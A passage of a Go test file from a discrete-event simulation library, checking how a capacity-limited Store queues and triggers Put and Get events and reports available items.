assertf(t, !get_ev.Triggered(), "get_ev.Triggered() == true") 68 | 69 | // store is not full, immediate put request 70 | put_ev = store.Put(1) 71 | 72 | assertf(t, len(store.gets) == 1, "len(store.gets) == %d", len(store.gets)) 73 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 74 | assertf(t, store.Available() == 1, "store.Available() == %d", store.Available()) 75 | assertf(t, put_ev.Triggered(), "put_ev.Triggered() == false") 76 | 77 | // get request will now be triggered 78 | proc.Wait(get_ev) 79 | 80 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 81 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 82 | assertf(t, store.Available() == 0, "store.Available() == %d", store.Available()) 83 | 84 | finished = true 85 | }) 86 | 87 | sim.Run() 88 | assertf(t, finished == true, "finished == false") 89 | } 90 | 91 | func TestStoreImmediateGet(t *testing.T) { 92 | sim := NewSimulation() 93 | store := NewStoreWithCapacity[int](sim, 1) 94 | finished := false 95 | 96 | sim.Process(func(proc Process) { 97 | // store is not full, immediate put request 98 | put_ev := store.Put(0) 99 | 100 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 101 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 102 | assertf(t, store.Available() == 1, "store.Available() == %d", store.Available()) 103 | assertf(t, put_ev.Triggered(), "put_ev.Triggered() == false") 104 | 105 | // store is full, put request queued 106 | put_ev = store.Put(1) 107 | 108 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 109 | assertf(t, len(store.puts) == 1, "len(store.puts) == %d", len(store.puts)) 110 | assertf(t, store.Available() == 1, "store.Available() == %d", store.Available()) 111 | assertf(t, !put_ev.Triggered(), "put_ev.Triggered() == true") 112 | 113 | // store is not empty, immediate get request 114 | get_ev := store.Get() 115 | 116 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 117 | assertf(t, len(store.puts) == 1, "len(store.puts) == %d", len(store.puts)) 118 | assertf(t, store.Available() == 0, "store.Available() == %d", store.Available()) 119 | assertf(t, get_ev.Triggered(), "get_ev.Triggered() == false") 120 | 121 | // put request will now be triggered 122 | proc.Wait(put_ev) 123 | 124 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 125 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 126 | assertf(t, store.Available() == 1, "store.Available() == %d", store.Available()) 127 | 128 | finished = true 129 | }) 130 | 131 | sim.Run() 132 | assertf(t, finished == true, "finished == false") 133 | } 134 | --------------------------------------------------------------------------------